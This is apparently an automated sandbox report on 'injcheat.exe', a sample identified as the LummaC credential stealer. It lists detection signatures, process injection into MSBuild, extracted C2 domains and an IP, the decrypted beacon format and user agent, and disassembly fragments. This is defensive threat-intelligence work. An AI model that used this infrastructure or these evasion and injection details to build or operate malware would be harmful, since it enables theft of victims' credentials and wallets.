Edit tour

Windows Analysis Report
injcheat.exe

Overview

General Information

Sample name:	injcheat.exe
Analysis ID:	1527616
MD5:	46f8135073242f0382b575b73c992aa6
SHA1:	5950633f369b87a751094c88a52bf2672cd89779
SHA256:	3f58ce78300acd111096a6460f57d607790497a21d59712a4da368c714c344e6
Tags:	exeuser-bloated7731
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

injcheat.exe (PID: 7516 cmdline: "C:\Users\user\Desktop\injcheat.exe" MD5: 46F8135073242F0382B575B73C992AA6)

MSBuild.exe (PID: 7572 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 7848 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7572 -s 1620 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7656 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bemuzzeki.sbs", "exemplarou.sbs", "wickedneatr.sbs", "invinjurhey.sbs", "frizzettei.sbs", "isoplethui.sbs", "epiloggati.sbs", "exilepolsiy.sbs", "laddyirekyi.sbs"], "Build id": "yau6Na--6742713813"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author
3.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.injcheat.exe.810000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 188.114.96.3, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7572, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49704

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:12.415251+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49704	188.114.96.3	443	TCP
2024-10-07T06:44:13.330251+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49706	188.114.96.3	443	TCP
2024-10-07T06:44:14.302441+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49707	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:12.415251+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49704	188.114.96.3	443	TCP
2024-10-07T06:44:13.330251+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49706	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:14.302441+0200	2049812	1	A Network Trojan was detected	192.168.2.7	49707	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 3.2.MSBuild.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["bemuzzeki.sbs", "exemplarou.sbs", "wickedneatr.sbs", "invinjurhey.sbs", "frizzettei.sbs", "isoplethui.sbs", "epiloggati.sbs", "exilepolsiy.sbs", "laddyirekyi.sbs"], "Build id": "yau6Na--6742713813"}

Multi AV Scanner detection for domain / URL

Source: exemplarou.sbs

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Source: injcheat.exe	ReversingLabs: Detection: 26%
Source: injcheat.exe	Virustotal: Detection: 61%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: injcheat.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wickedneatr.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: invinjurhey.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: exemplarou.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: isoplethui.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: frizzettei.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: epiloggati.sbs
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--6742713813

Source: injcheat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49708 version: TLS 1.2

Source: injcheat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\injcheat.exe

Code function: 1_2_0082981D FindFirstFileExW,

1_2_0082981D

Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov ebp, eax	1_2_008461E0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_0085E140
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [esi], ax	1_2_0085E140
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	1_2_00882298
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	1_2_0086E2C0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	1_2_00882398
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_008683B7
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	1_2_00852416
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	1_2_00844470
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov esi, 00001505h	1_2_00840580
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_0085E548
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	1_2_0086A572
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	1_2_008826CF
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_00840880
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	1_2_0086482C
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	1_2_0088283B
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	1_2_00880920
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_0086CA60
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	1_2_00868BB0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00868BB0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	1_2_00868BB0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	1_2_0086AB28
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp eax	1_2_00866B50
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [edx], ax	1_2_00866B71
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	1_2_00852CC2
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp eax	1_2_00864C23
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00884C6A
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	1_2_00842D80
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	1_2_0084CDCC
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov edi, ecx	1_2_00850D0A
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	1_2_0083CEE0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	1_2_00852E71
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp ecx	1_2_00844FB8
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	1_2_0086EFDD
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00848FF0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00848FF0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then dec ebx	1_2_0087AF10
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	1_2_0086EF7C
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_008690C1
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	1_2_00867059
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	1_2_008572F0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_008593C7
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	1_2_0087D320
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	1_2_00883400
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	1_2_008835F0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_00877530
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	1_2_0086968F
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00881609
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, ebx	1_2_00851655
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00865667
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	1_2_0085B8A4
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	1_2_008858B0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	1_2_0087F800
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0086F81B
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	1_2_00851851
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	1_2_00859872
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp eax	1_2_0084D9AD
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp eax	1_2_0084D91C
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	1_2_00841930
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	1_2_0086F945
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	1_2_0084DACE
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	1_2_00863AE0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	1_2_00885A40
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	1_2_00859A4F
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_0084BB80
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00885BC0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	1_2_00885BC0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0086FB2A
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	1_2_0087BB3E
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0086FB4B
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	1_2_00869C89
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	1_2_00847D90
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00863D40
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00861D50
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	1_2_0084DD73
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	1_2_00883EA0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00883EA0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov word ptr [edx], 0000h	1_2_0085BEBF
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp ecx	1_2_00881EB6
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp eax	1_2_00865ECC
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0087BE50
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	1_2_0086FF20
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	1_2_0086FF20
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	1_2_0087FF20
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	1_2_0086BF38
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	1_2_0084FF77
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 4x nop then jmp ecx	1_2_00881F74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	3_2_004463B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	3_2_0044695B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	3_2_0040FCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_00410EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	3_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	3_2_00416F91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then dec ebx	3_2_0043F030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	3_2_00446094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_0042D1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	3_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	3_2_004142FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	3_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	3_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	3_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	3_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	3_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	3_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	3_2_00441440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041D457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	3_2_0042E40C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	3_2_0041B410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	3_2_004464B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00429510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	3_2_00447520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	3_2_00416536
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	3_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_0043B650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	3_2_0042E66A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00445700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	3_2_00447710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	3_2_004467EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	3_2_0042D7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_004228E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_0041D961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	3_2_00443920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	3_2_004499D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	3_2_004049A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	3_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	3_2_00405A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	3_2_00411A3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	3_2_00411ACD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	3_2_00449B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	3_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	3_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	3_2_00413BE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	3_2_00411BEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00430B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	3_2_0042EC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00427C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	3_2_0043FC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	3_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	3_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00449CE0
